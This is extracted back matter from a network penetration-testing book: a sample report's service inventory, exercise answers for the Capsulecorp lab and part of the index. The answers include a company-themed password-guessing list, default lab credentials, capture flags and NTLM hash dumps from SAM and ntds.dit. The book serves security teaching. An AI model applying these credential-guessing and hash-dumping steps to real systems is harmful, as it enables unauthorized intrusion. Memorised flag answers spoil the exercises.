Capsulecorp internal network penetration test report 10.0.10.201 49664 msrpc Microsoft Windows RPC 10.0.10.201 49665 msrpc Microsoft Windows RPC 10.0.10.201 49666 msrpc Microsoft Windows RPC 10.0.10.201 49669 msrpc Microsoft Windows RPC 10.0.10.201 49697 msrpc Microsoft Windows RPC 10.0.10.201 49700 msrpc Microsoft Windows RPC 10.0.10.201 49720 msrpc Microsoft Windows RPC 10.0.10.201 53532 msrpc Microsoft Windows RPC 10.0.10.201 2383 ms-olap4 10.0.10.202 8080 http Jetty 9.4.z-SNAPSHOT 10.0.10.202 443 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.202 5985 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.202 80 http Microsoft IIS httpd 8.5 10.0.10.202 135 msrpc Microsoft Windows RPC 10.0.10.202 445 microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 10.0.10.202 49154 msrpc Microsoft Windows RPC 10.0.10.202 3389 ms-wbt-server 10.0.10.203 5985 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.203 47001 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.203 80 http Apache httpd 2.4.39 (Win64) OpenSSL/1.1.1b PHP/ 7.3.5 10.0.10.203 443 http Apache httpd 2.4.39 (Win64) OpenSSL/1.1.1b PHP/ 7.3.5 10.0.10.203 8009 ajp13 Apache Jserv Protocol v1.3 10.0.10.203 8080 http Apache Tomcat/Coyote JSP engine 1.1 10.0.10.203 3306 mysql MariaDB unauthorized 10.0.10.203 135 msrpc Microsoft Windows RPC 10.0.10.203 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.203 445 microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 10.0.10.203 3389 ms-wbt-server IP address Port Protocol Network service 264 APPENDIX D Capsulecorp internal network penetration test report 10.0.10.203 49152 msrpc Microsoft Windows RPC 10.0.10.203 49153 msrpc Microsoft Windows RPC 10.0.10.203 49154 msrpc Microsoft Windows RPC 10.0.10.203 49155 msrpc Microsoft Windows RPC 10.0.10.203 49156 msrpc Microsoft Windows RPC 10.0.10.203 49157 msrpc Microsoft Windows RPC 10.0.10.203 49158 msrpc Microsoft Windows RPC 10.0.10.203 49172 msrpc Microsoft Windows RPC 10.0.10.204 22 ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2 10.0.10.205 135 msrpc Microsoft 10.0.10.205 139 netbios-ssn Microsoft 10.0.10.205 445 microsoft-ds 10.0.10.205 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.205 5040 unknown 10.0.10.205 5800 vnc-http TightVNC user: workstation01k; VNC TCP port: 5900 10.0.10.205 5900 vnc VNC protocol 3.8 10.0.10.205 49667 msrpc Microsoft Windows RPC 10.0.10.206 135 msrpc Microsoft Windows RPC 10.0.10.206 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.206 445 microsoft-ds 10.0.10.206 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.206 5040 unknown 10.0.10.206 5800 vnc-http Ultr@VNC Name workstation02y; resolution: 1024x800; VNC TCP port: 5900 10.0.10.206 5900 vnc VNC protocol 3.8 10.0.10.206 49668 msrpc Microsoft Windows RPC 10.0.10.207 25 smtp Microsoft Exchange smtpd 10.0.10.207 80 http Microsoft IIS httpd 10 10.0.10.207 135 msrpc Microsoft Windows RPC 10.0.10.207 139 netbios-ssn Microsoft Windows netbios-ssn 10.0.10.207 443 http Microsoft IIS httpd 10 IP address Port Protocol Network service 265 APPENDIX D Capsulecorp internal network penetration test report 10.0.10.207 445 microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 10.0.10.207 587 smtp Microsoft Exchange smtpd 10.0.10.207 593 ncacn_http Microsoft Windows RPC over HTTP 1 10.0.10.207 808 ccproxy-http 10.0.10.207 1801 msmq 10.0.10.207 2103 msrpc Microsoft Windows RPC 10.0.10.207 2105 msrpc Microsoft Windows RPC 10.0.10.207 2107 msrpc Microsoft Windows RPC 10.0.10.207 3389 ms-wbt-server Microsoft Terminal Services 10.0.10.207 5985 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.207 6001 ncacn_http Microsoft Windows RPC over HTTP 1 10.0.10.207 6002 ncacn_http Microsoft Windows RPC over HTTP 1 10.0.10.207 6004 ncacn_http Microsoft Windows RPC over HTTP 1 10.0.10.207 6037 msrpc Microsoft Windows RPC 10.0.10.207 6051 msrpc Microsoft Windows RPC 10.0.10.207 6052 ncacn_http Microsoft Windows RPC over HTTP 1 10.0.10.207 6080 msrpc Microsoft Windows RPC 10.0.10.207 6082 msrpc Microsoft Windows RPC 10.0.10.207 6085 msrpc Microsoft Windows RPC 10.0.10.207 6103 msrpc Microsoft Windows RPC 10.0.10.207 6104 msrpc Microsoft Windows RPC 10.0.10.207 6105 msrpc Microsoft Windows RPC 10.0.10.207 6112 msrpc Microsoft Windows RPC 10.0.10.207 6113 msrpc Microsoft Windows RPC 10.0.10.207 6135 msrpc Microsoft Windows RPC 10.0.10.207 6141 msrpc Microsoft Windows RPC 10.0.10.207 6143 msrpc Microsoft Windows RPC 10.0.10.207 6146 msrpc Microsoft Windows RPC 10.0.10.207 6161 msrpc Microsoft Windows RPC 10.0.10.207 6400 msrpc Microsoft Windows RPC IP address Port Protocol Network service 266 APPENDIX D Capsulecorp internal network penetration test report Appendix 3: Tools list The following tools were used during the engagement:  Metasploit framework—https://github.com/rapid7/metasploit-framework  Nmap—https://nmap.org  CrackMapExec—https://github.com/byt3bl33d3r/CrackMapExec  John the Ripper—https://www.openwall.com/john  Impacket—https://github.com/SecureAuthCorp/impacket  Parsenmap—https://github.com/R3dy/parsenmap  Ubuntu Linux—https://ubuntu.com  Exploit-DB—https://www.exploit-db.com  Mssql-cli—https://github.com/dbcli/mssql-cli  Creddump—https://github.com/moyix/creddump  Mimikatz—https://github.com/gentilkiwi/mimikatz Appendix 4: Additional references The following references pertain to security guidelines and best practices around net- work services observed within the Capsulesorp environment:  Apache Tomcat – http://tomcat.apache.org/tomcat-9.0-doc/security-howto.html – https://wiki.owasp.org/index.php/Securing_tomcat  Jenkins – https://www.jenkins.io/doc/book/system-administration/security/ – https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers- with-no-password  Microsoft SQL Server – https://docs.microsoft.com/en-us/sql/relational-databases/security/secur- ing-sql-server 10.0.10.207 6401 msrpc Microsoft Windows RPC 10.0.10.207 6402 msrpc Microsoft Windows RPC 10.0.10.207 6403 msrpc Microsoft Windows RPC 10.0.10.207 6404 msrpc Microsoft Windows RPC 10.0.10.207 6405 msrpc Microsoft Windows RPC 10.0.10.207 6406 msrpc Microsoft Windows RPC 10.0.10.207 47001 http Microsoft HTTPAPI httpd 2 SSDP/UPnP 10.0.10.207 64327 msexchange- logcopier Microsoft Exchange 2010 log copier IP address Port Protocol Network service 267 APPENDIX D Capsulecorp internal network penetration test report  Active Directory – https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/ security-best-practices/best-practices-for-securing-active-directory  Ubuntu Linux – https://ubuntu.com/security 268 appendix E Exercise answers Exercise 2.1: Identifying your engagement targets This exercise doesn’t necessarily have a correct answer. But the result after complet- ing it should be a list of IP addresses in your scope of IP address ranges that have responded to your host-discovery probes. These IP addresses should be in a file called targets.txt located in your hosts directory. If you are performing your engagement against the Capsulecorp Pentest environment, you should have the following IP addresses in your targets.txt file: 172.28.128.100 172.28.128.101 172.28.128.102 172.28.128.103 172.28.128.104 172.28.128.105 Your file tree should look like this: . capsulecorp discovery hosts targets.txt ranges.txt services documentation logs screenshots focused-penetration 8 directories, 2 files 269 APPENDIX E Exercise answers Exercise 3.1: Creating protocol-specific target lists After performing service discovery against your targets.txt file, you should be able to produce a list of all listening network services on those hosts. If you are doing this on a real enterprise network with thousands of IP addresses, you should expect to see upward of tens of thousands of individual services. This is why using the parsenmap.rb script to create a CSV file to import into a spreadsheet program is a really good idea. For the Capsulecorp Pentest network, this isn’t necessary because there are only a few dozen services listening. Use grep to find all the HTTP servers, and then put their IP addresses into a file called web.txt. Find all the Microsoft SQL servers, and place them in a file called mssql.txt. Do this for all the services you observe. If you’re using the Capsulecorp Pentest environment, you should now have a tree similar to this: . capsulecorp discovery hosts mssql.txt targets.txt web.txt windows.txt ranges.txt services all-ports.csv full-sweep.xml documentation logs screenshots focused-penetration 8 directories, 7 files For complete output of the full-sweep.xml file, see listing 3.11 in chapter 3. Exercise 4.1: Identifying missing patches This results of this exercise will vary depending on your target environment. If you’re using the Capsulecorp Pentest environment, you should find that the tien.capsulecorp .local system is missing the MS17-010 patch. Exercise 4.2: Creating a client-specific password list Here is an example of what a client-specific password list could look like for Capsule- corp. As you can see, the word Capsulecorp could be replaced with CompanyXYZ or the name of the organization for which you’re conducting a penetration test. ~$ vim passwords.txt 1 2 admin Listing E.1 Capsulecorp password list 270 APPENDIX E Exercise answers 3 root 4 guest 5 sa 6 changeme 7 password #A 8 password1 9 password! 10 password1! 11 password2019 12 password2019! 13 Password 14 Password1 15 Password! 16 Password1! 17 Password2019 18 Password2019! 19 capsulecorp #B 20 capsulecorp1 21 capsulecorp! 22 capsulecorp1! 23 capsulecorp2019 24 capsulecorp2019! 25 Capsulecorp 26 Capsulecorp1 27 Capsulecorp! 28 Capsulecorp1! 29 Capsulecorp2019 30 Capsulecorp2019! ~ NORMAL > ./passwords.txt > < text < 3% < 1:1 Exercise 4.3: Discovering weak passwords The output of this exercise will be greatly impacted by your service discovery. If your target network has no listening services, then you are not likely to discover any with weak passwords. That said, you were hired to conduct a network pentest, so there are probably plenty of network services to target for password guessing. If you are target- ing the Capsulecorp Pentest environment, you should find these:  MSSQL credentials sa:Password1 on gohan.capsulecorp.local  Windows credentials Administrator:Password1! on vegeta.capsulecorp.local  Apache Tomcat credentials admin:admin on trunks.capsulecorp.local Exercise 5.1: Deploying a malicious WAR file If you’ve managed to successfully compromise the trunks.capsulecorp.local server, then you should be able to easily list the contents of C:\. If you do, you should see something that looks like figure E.1. If you open the flag.txt file, you’ll see this: wvyo9zdZskXJhOfqYejWB8ERmgIUHrpC 271 APPENDIX E Exercise answers Exercise 6.1 Stealing SYSTEM and SAM registry hives If you steal a copy of the SYSTEM and SAM registry hives from gohan.capsulecorp.local, you can use pwddump.py to extract the password hashes. This is what you should see: vagrant:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c 0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b7 c59d7e0c089c0::: sa:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: sqlagent:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c 89c0::: Exercise 7.1: Compromising tien.capsulecorp.local The flag for tien.capsulecorp.local is located at c:\flag.txt. Here are the contents of the file: TMYRDQVmhov0ulOngKa5N8CSPHcGwUpy Exercise 8.1: Accessing your first level-two host The flag for raditz.capsulecorp.local is located at c:\flag.txt. Here are the contents of the file: FzqUDLeiQ6Kjdk5wyg2rYcHtaN1slW40 Exercise 10.1: Stealing passwords from ntds.dit The Capsulecorp Pentest environment is an open source project that is likely to evolve over time. That being said, there may be newly added user accounts or even vulnera- ble systems that did not exist during the time of writing this book. Don’t be alarmed if your results are different—as long as you were able to complete the exercise and steal Figure E.1 Finding the flag on trunks.capsulecorp.local 272 APPENDIX E Exercise answers the password hashes from goku.capsulecop.local, you succeeded. At the time of writ- ing, however, the following user accounts were present on the CAPSULECORP.local domain. [*] Target system bootKey: 0x1600a561bd91191cf108386e25a27301 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 56c9732d58cd4c02a016f0854b6926f5 [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c2 5d35b50b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089 c0::: vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35 50b::: GOKU$:1001:aad3b435b51404eeaad3b435b51404ee:3822c65b7a566a2d2d1cc4a4840a0f36::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:62afb1d9d53b6800af62285ff3fea16f::: goku:1104:aad3b435b51404eeaad3b435b51404ee:9c385fb91b5ca412bf16664f50a0d60f::: TRUNKS$:1105:aad3b435b51404eeaad3b435b51404ee:6f454a711373878a0f9b2c114d7f 22a::: GOHAN$:1106:aad3b435b51404eeaad3b435b51404ee:59e14ece9326a3690973a12ed3125d 01::: RADITZ$:1107:aad3b435b51404eeaad3b435b51404ee:b64af31f360e1bfa0f2121b2f6b3 f66::: vegeta:1108:aad3b435b51404eeaad3b435b51404ee:57a39807d92143c18c6d9a5247b37c f3::: gohan:1109:aad3b435b51404eeaad3b435b51404ee:38a5f4e30833ac1521ea821f57b916b 6::: trunks:1110:aad3b435b51404eeaad3b435b51404ee:b829832187b99bf8a85cb0cd6e7c8eb 1::: raditz:1111:aad3b435b51404eeaad3b435b51404ee:40455b77ed1ca8908e0a87a9a5286b2 2::: tien:1112:aad3b435b51404eeaad3b435b51404ee:f1dacc3f679f29e42d160563f9b8408 b::: Exercise 11.1: Performing post-engagement cleanup If you followed along with this book using the Capsulecorp Pentest environment to conduct your pentest, then all of the necessary cleanup items are listed in chapter 11. In addition, the Note callouts throughout this book tell you to record everything that will later need to be cleaned up. If you targeted your own network environment, than you’ll have to rely on your engagement notes as a guide for cleaning up artifacts left over from your pentest. Listing E.2 Active Directory password hashes dumped using Impacket 273 index Symbols \ character 182 \\ (double backslash) character 182 & character 27 > operator 240, 242 >> character 27 | (pipe operator) 240–241 $octet variable 27 A -A command argument 138 -A flag 48–49 ACLs (access control lists), modifying with cacls.exe 96–97 Active Directory groups, using net to query 178–179 Advanced Packaging Tool (APT) 223 aiodnsbrute (Async DNS Brute) 35 ajp13 protocol 263 APPBASE parameter 238 appendices 214–216 additional references 216, 266 hosts and services 215, 261 severity definitions 214–215, 261 tools list 216, 266 APT (Advanced Packaging Tool) 223 apt command, managing Ubuntu packages with 223 apt install nmap 224, 227 apt package 94, 228 apt search libpcre command 226 apt tool 221 ARGV[0] value 231 attack narrative 211, 256–257 attack surfaces 39 authentication vulnerabilities 65–73 brute-force password guessing local Windows account passwords 68–69 MSSQL and MySQL database passwords 69–72 VNC passwords 72–73 creating client-specific password list 66–67 authentication vulnerability 65 auxiliary module 122–123 B backdoor 95 background command 27, 151 bash 244 credential harvesting in Linux or UNIX 165–166 pingsweeping network ranges 26–28 /bin/cp command 170 bind payload 123 black-box scoping 22 blacklist 21 bleeding-edge reposit 224 box, defined 63 brute force 145 brute-force password guessing local Windows account passwords 68–69 MSSQL and MySQL database passwords 69–72 VNC passwords 72–73 bug bounty 121 bundle command 234 bundle install command 52 INDEX 274 C -c 1 parameter 25 /c: flag 149 CachedLogonsCount registry key 143 cacls command 114 cacls.exe program 96–97 capsulecorp folder 29, 178, 250 Capsulecorp Pentest project 13 creating lab network 247–253 creating Linux servers 252–253 creating primary Windows servers 250–252 hardware and software requirements 248–250 documentation 254–266 appendices 261–266 attack narrative 256–257 engagement methodology 255–256 executive summary 254–255 technical observations 257–260 capsulecorp\serveradmin user account 182 cat .bash_history | more command 165 cat .bash_history command 165 cat .ruby-version 234 cat (concatenate) command 241 cat [FILE] | grep [STRING] command 94 cat [FILE] command 94 cat command 27, 30, 49–50, 165, 172, 196, 205, 240–241, 243 cat GOHAN_2020514.0311.rc command 205 cat pingsweep.txt 27 ccproxy-http protocol 265 cd command 236 cd creddump command 115 CHF (cryptographic hashing function) 110 child nodes 51 close-out meeting 216 cmd parameter 90 CME (CrackMapExec) 9, 62, 152, 183, 205, 224 cme command 68, 183, 186, 224 command 151 Common Vulnerabilities and Exposures (CVE) 60 Common Vulnerability Scoring System (CVSS) 60 configuration vulnerabilities 75–80 manually guessing web server passwords 78–80 Webshot analyzing output from 77 setting up 75–76 controlling entire network 190 identifying domain admin user accounts 178–180 locating logged-in users 179–180 using net to query Active Directory groups 178–179 ntds.dit 184–189 bypassing restrictions with VSC 185–188 extracting all hashes with secretsdump.py 188–189 obtaining domain admin privileges 180–184 harvesting clear-text credentials with Mimikatz 183–184 impersonating logged-in users with Incognito 182–183 copy [SRC] [DEST] command 94 copy command 97, 168 copy sethc.exe.backup sethc.exe command 204 corporate data breaches 2–3 attacker role 3–4 defender role 3 threat landscape 3 cp [SRC] [DEST] command 94 CrackMapExec (CME) 9, 62, 152, 183, 205, 224 installing 224 passing-the-hash 152–154 createdb msfdb -O msfuser command 235 createTunnel function 163 creddump 115–116 credential harvesting 137 clear-text credentials 183–184 in Linux or UNIX 163–166 bash history 165–166 password hashes 166 in Windows domain cached credentials 143–147 from filesystem 147–149 with Mimikatz 141–143 critical severity 215, 261 cron jobs maintaining reliable re-entry in Linux or UNIX 156–163 automating SSH tunnels 162–163 creating SSH key pairs 157–158 enabling pubkey authentication 159–160 tunneling through SSH 160–162 removing crontab entries 201–202 crontab 156 crontab -l command 202 crontab -r command 202 cryptographic hashing function (CHF) 110 Ctrl-b , shortcut 245 Ctrl-b “ shortcut 245 Ctrl-b % shortcut 245 Ctrl-b 3 shortcut 245 Ctrl-b c shortcut 245 Ctrl-b l shortcut 245 Ctrl-b n shortcut 245 cut command 28–29, 31, 51, 241–242 CVE (Common Vulnerabilities and Exposures) 60 CVSS (Common Vulnerability Scoring System) 60 INDEX 275 D database services, attacking 117 compromising Microsoft SQL Server 103–109 enabling xp_cmdshell 106–108 enumerating servers with Metasploit 105 running OS commands with xp_cmdshell 108–109 stored procedures 104–105 extracting password hashes with creddump 115–116 stealing Windows account password hashes 110–114 copying registry hives with reg.exe 111–113 downloading registry hive copies 113–114 db_status command 236 def sayhello() method 231 def sayhello(name, number) method 232 def sayhello(name) method 231–232 del command 205 detach command 246 dir /ah command 94 dir c:\windows\temp command 198 discovery/ranges.txt 30 distributions 14 DNS (domain name service) 46 DNS brute-forcing 35 documentation phase 219, 254–266 appendices 214–216 additional references 216, 266 hosts and services 215, 261 severity definitions 214–215, 261 tools list 216, 266 attack narrative 211, 256–257 components of solid deliverables 208–209 engagement methodology 210–211, 255–256 documentation and cleanup 256 focused penetration 255–256 information gathering 255 post-exploitation and privilege escalation 256 executive summary 209–210, 254–255 engagement scope 254 summary of observations 254–255 technical observations 211–214, 257–260 default credentials found on Jenkins 258 default credentials found on Microsoft SQL database 259 default credentials found on Tomcat 257–258 finding recommendations 214 missing Microsoft security update MS17-010 259–260 shared local administrator account credentials 260 domain admin user accounts identifying 178–180 locating logged-in domain admin users 179–180 using net to query Active Directory groups 178–179 obtaining privileges 180–184 harvesting clear-text credentials with Mimikatz 183–184 impersonating logged-in users with Incognito 182–183 domain protocol 261 .dot files 163 double backslash (\\) character 182 E echo command 96 EDR (endpoint detection and response) 156 engagement methodology 210–211, 255–256 documentation and cleanup 256 focused penetration 255–256 information gathering 255 post-exploitation and privilege escalation 256 entry points 39 ESEDB (extensible storage engine database) 184 /etc/init.d/ssh restart command 159 Eternal Blue 88 exclusion list 21 exec statement 109 executive summary 209–210, 254–255 engagement scope 254 summary of observations 254–255 exit -y command 195 exit command 125, 187, 235, 239 exploit command 120, 123, 125, 181 exploit development 120 exploit module 123 exploit/linux/local/service_persistence module 156 exploitable, defined 120 export command 94 extensible storage engine database (ESEDB) 184 F -f4 option 242 fgdump tool 115 file pentestkey command 172 filesystem credential harvesting 147–149 removing leftover files from 196–199 removing ntds.dit copies 199 INDEX 276 filesystem (continud) removing SSH key pairs 198 removing Windows registry hive copies 197–198 find command, locating SUID binaries with 167–169 findstr command, locating files with 148–149 fingerprinting 47 flags 29 flavors of Linux 14 focused penetration phase 9–10, 86–88 accessing remote management services 87–88 attacking unpatched services 132 attacking vulnerable database services 117 attacking vulnerable web services 101 deploying backdoor web shells 87 exploiting missing software patches 88 footprinting 22 functions, defined 231 fuzzing 120 G gem command 234 gem install nokogiri library 234 gems libraries 234 get command 187 get sam command 114 get sys command 114 getting a shell 94 Gohan hostname 249 Gohan.capsulecorp.local 251 Gohanadm account 251 Goku hostname 249 Goku.capsulecorp.local 250–251 Gokuadm account 251 grep command 27–28, 30, 49–51, 57, 68, 164, 228, 242–243 grey-box scoping 22 Groovy script console execution 100–101 H -h flag 76 -H option 152 smbpass 151 hashdump command 150 Hello World example 230–233 code block iterations 232–233 command-line arguments 231–232 in two lines of code 230–231 methods 231 hello.rb file 230 help command 30, 126 help mimikatz command 141 high severity 215, 261 hives 110 host discovery 37 Capsulecorp Pentest project overview 22–24 setting up environment 24 engagement scope 21–24 black-box scoping 22 grey-box scoping 22 white-box scoping 22 ICMP 24–29 with DNS brute-forcing 35 with Nmap 29–34 increasing scan performance 33–34 primary output formats 30–31 RMI ports 32–33 with packet capture and analysis 35–36 with subnet hunting 36–37 hosts 51 HTTP (Hypertext Transfer Protocol) 41 http protocol 261 I -i 30 command argument 139 -i flag 159 ICMP (Internet Control Message Protocol), ping command limitations of using 28–29 overview 25–26 using bash 26–28 id -a command 171 ifconfig command 26, 94 imikatz_command option 142 impact statement 212 Incognito, impersonating logged-in users with 182–183 info command 238 information gathering phase 8–9 host discovery 37 service discovery 58 vulnerability discovery 81 informational severity 215 INPT (internal network penetration test) 4, 12, 22, 44, 59–60, 85, 102, 120, 175, 193, 221 See also penetration testing ipconfig /all command 92–94, 100 J Jakarta Server Pages (JSP) 89, 238 jar command 91 Java Development Kit (JDK) 90 INDEX 277 jboss_invoke_deploy module 238 JDK (Java Development Kit) 90 Jenkins servers, compromising 99–101 default credentials found on Jenkins 258 Groovy script console execution 100–101 jobs -k command 195 John the Ripper cracking cached credentials in Windows 144–146 using dictionary file with 146–147 JSP (Jakarta Server Pages) 89, 238 -just-dc-ntlm parameter 188 K kerberos-sec protocol 262 kpasswd5 protocol 262 Krillin account 251 Krillin hostname 249 Krillin.capsulecorp.local 252 L -l argument 243 -L c:\\ command argument 138 lab environment 12–13 Capsulecorp Pentest project 13 setting up 24 ldap protocol 262 level-one hosts 10, 85, 102 level-two hosts 10, 129, 137, 149 LHF (low-hanging-fruit) 7, 61, 256 lhost variable 124 libpcre3-dev command 226 libpcre4-dev command 226 Linux 240–246 CLI commands 240–244 cat 240–241 cut 241–242 grep 242–243 sort 243–244 wc 243–244 creating servers 252–253 post-exploitation 174 escalating privileges with SUID binaries 166–171 harvesting credentials 163–166 maintaining reliable re-entry with cron jobs 156–163 passing SSH keys 171–174 tmux commands 244–246 saving session 246 using 245 virtual penetration testing platform 13–14 list_tokens -u command 182 live host 22 live ping 24 living-off-the-land approach 156 load incognito command 182 load mimikatz command 141 Local Security Authority Subsystem Service (LSASS) 141 localhost variable 124 long-term support (LTS) 222 low severity 215, 261 low-hanging-fruit (LHF) 7, 61, 256 ls -l ~/.ssh 172 ls -l command 167, 169 ls -la command 164 ls -lah /root/.ssh command 198 ls -lah /tmp command 198 ls -lah command 94, 205 ls command 234 LSASS (Local Security Authority Subsystem Service) 141 lsass.exe process 141 LTS (long-term support) 222 M make -s clean && make -sj 144 make command 227 malicious service requests 41 man nmap 228 master..xp_cmdshell stored procedure 108–109 mc-nmf protocol 262 medium severity 215, 261 Metasploit 233–239 compromising Eternal Blue vulnerability 121–124 using ms17_010_psexec exploit module 124 verifying that patch is missing 122–123 enumerating MSSQL servers with 105 msfconsole 237–239 OS dependencies 233 Ruby gems 234–235 scanning multiple targets with 172–174 setting up PostgreSQL 235–236 smb_login module 150–151 metasploit-framework command 234 Meterpreter credential harvesting in Windows 143–144 installing autorun backdoor executable 139 maintaining reliable re-entry in Windows 138–139 payload 125–130 uninstalling persistent callbacks 204–205 useful commands 127–130 Meterpreter session 126 INDEX 278 methods, defined 231 microsoft-ds protocol 262 Mimikatz credential harvesting in Windows 141–143 harvesting clear-text credentials 183–184 using extension 141–143 --min-hostgroup 37 --min-rate setting 34, 37 mkdir ~/.msf4 command 236 mkdir webshell command 90 modes 230 more command 228 moving laterally (pivoting) in Windows with Pass-Hash 149–154 CrackMapExec 152–154 Metasploit smb_login module 150–151 overview 137–138 ms-olap4 protocol 263 ms-sql-s protocol 262 ms-wbt-server protocol 262–265 ms17_010_eternalblue module 130 ms17_010_psexec exploit module 124 MS17-010 (Eternal Blue) vulnerability compromising with Metasploit 121–124 using ms17_010_psexec exploit module 124 verifying that patch is missing 122–123 documenting missing security update MS17-010 259–260 scanning for 64–65 mscache 143 mscache2 143 msexchange-logcopier protocol 266 ./msfconsole 236 msfconsole 237–239 msmq protocol 265 msrpc protocol 262 MSSQL (Microsoft SQL) Servers, compromising 103–109 brute-force password guessing 69–72 disabling stored procedures 200 enumerating with Metasploit 105 stored procedures 104–105 xp_cmdshell enabling 106–108 running OS commands with 108–109 mssql_enum module 105 mssql_exec Metasploit module 106 mssql_login module 103, 105 mssql-cli command 113 mssql-cli shell 102, 112, 114 MySQL databases, brute-force password guessing 69–72 mysql protocol 263 N -N flag 161 #N ports 45 Nail hostname 249 name variable 231 Nappa hostname 249 Nappa.capsulecorp.local 252 National Vulnerability Database (NVD) 60 ncacn_http protocol 262, 265 net command, querying Active Directory groups 178–179 net localgroup administrators command 109 net share command 201 net share pentest /delete command 115 net-tools 223 netbios-ssn protocol 262–263 netstat -ant |grep -i listen command 163 netstat command 161 network mapper (nmap) 221 network penetration testing. See penetration testing network services banners 42–43 communication 40–41 identifying listening network services 42 New Technology LAN Manager (NTLM) hash 116 Nmap 224–228 compiling and installing from source 227 documentation 228 host discovery with 29–34 increasing scan performance 33–34 primary output formats 30–31 RMI ports 32–33 Nmap Scripting Engine 224–226 OS dependencies 226 port scanning with 43–52 commonly used ports 44–47 scanning all TCP ports 47–48 sorting through NSE script output 49–52 Nmap -h command 228 Nmap -V command 227 Nmap (network mapper) 221 Nmap Scripting Engine (NSE) 49–52, 224–226 non-interactive shell 94 NSE (Nmap Scripting Engine) 49–52, 224–226 -ntds parameter 188 ntds.dit 184–189 bypassing restrictions with VSC 185–188 extracting all hashes with secretsdump.py 188–189 removing copies 199 NTLM (New Technology LAN Manager) hash 116 number variable 232 NVD (National Vulnerability Database) 60 INDEX 279 O -o flag 76 one-way function 110 open-vm-tools package 223 open-vm-tools-desktop package 223 openssh package 223 P -p 8443 command argument 139 -p option 152 packet capture and analysis, host discovery with 35–36 packet sniffer 35 parsenmap command 53, 57 parsenmap.rb script 52–53 pass_file variable 71 Pass-the-Hash CrackMapExec 152–154 Metasploit smb_login module 150–151 moving laterally in Windows 149–154 Password field 242 password hashes credential harvesting in Linux or UNIX 166 extracting with creddump 115–116 stealing Windows account password hashes 110–114 copying registry hives with reg.exe 111–113 downloading registry hive copies 113–114 password variable 105 passwords brute-force password guessing local Windows account passwords 68–69 MSSQL and MySQL database passwords 69–72 VNC passwords 72–73 creating list of client-specific 66–67 manually guessing web server passwords 78–80 patching vulnerabilities 62–65 $PATH environment variable 53 penetration testing 16 corporate data breaches 2–3 attacker role 3–4 defender role 3 threat landscape 3 lab environment 12–13 least effective 6–7 virtual penetration testing platform 13–15 Linux 13–14 pentest distributions 14–15 Ubuntu project 14 when needed 7 workflow 5–8, 12 documentation phase 11–12 focused penetration phase 9–10 information gathering phase 8–9 post-exploitation and privilege escalation phase 10–11 persistence command 138 Piccolo hostname 249 piccoloadm account 251 PID (process ID) 128 ping command 184 limitations of using 28–29 overview 25–26 using bash 26–28 pingsweep 24 pip 224 pip install crackmapexec command 224 pip install mssql-cli command 106 pipe operator (|) 240–241 pivoting 137 PoC (proof-of-concept) 121 ports 51 post module 129, 143 POST request 229 post-engagement cleanup 206 closing backdoors 202–205 closing Sticky Keys backdoor 204 undeploying WAR files from Tomcat 202–203 uninstalling persistent Meterpreter callbacks 204–205 deactivating local user accounts 195–196 killing active shell connections 195 removing leftover files from filesystem 196–199 removing ntds.dit copies 199 removing SSH key pairs 198 removing Windows registry hive copies 197–198 reversing configuration changes 199–202 disabling anonymous file shares 201 disabling MSSQL stored procedures 200 removing crontab entries 201–202 post-exploitation and privilege escalation phase 10–11, 136–138 controlling entire network 190 credential harvesting 137 Linux or UNIX post-exploitation 174 maintaining reliable re-entry 137 moving laterally 137–138 Windows post-exploitation 154 post/windows/gather/cachedump module 143 PostgreSQL 235–236 prefix key 245 privilege escalation 5 process ID (PID) 128 protocol-specific target lists 211 INDEX 280 Proxies parameter 238 ps aux command 94 ps command 127 psexec_command Metasploit module 179, 190 psexec_command module 179 psexec_psh module 180 PubkeyAuthentication directive 159, 173 public exploit database 130–132 public key authentication 173 puts method 231 pwdump 116 Python-pip 223 Q qwinsta command 179, 190 R -r 10.0.10.160 command argument 139 -R flag 161 /r flag 149 Raditz hostname 249 Raditzadm account 251 RCE (remote code execution) 9, 41 rdesktop command 95 RDP (remote desktop) 97–98 reboot command 139 recommendation 212 RECONFIGURE command 107–108, 200 reconnaissance 5 red team 8 reg command 201, 205 reg deleteval command 205 reg.exe, copying registry hives with 111–113 registry command 205 registry hives copying with reg.exe 111–113 downloading copies 113–114 removing copies 197–198 reliable re-entry, maintaining 137 in Linux or UNIX with cron jobs 156–163 automating SSH tunnels 162–163 creating SSH key pairs 157–158 enabling pubkey authentication 159–160 tunneling through SSH 160–162 in Windows with Meterpreter 138–139 installing Meterpreter autorun backdoor executable 139 remote code execution (RCE) 9, 41 remote desktop (RDP) 97–98 remote management interface (RMI) ports 32–33 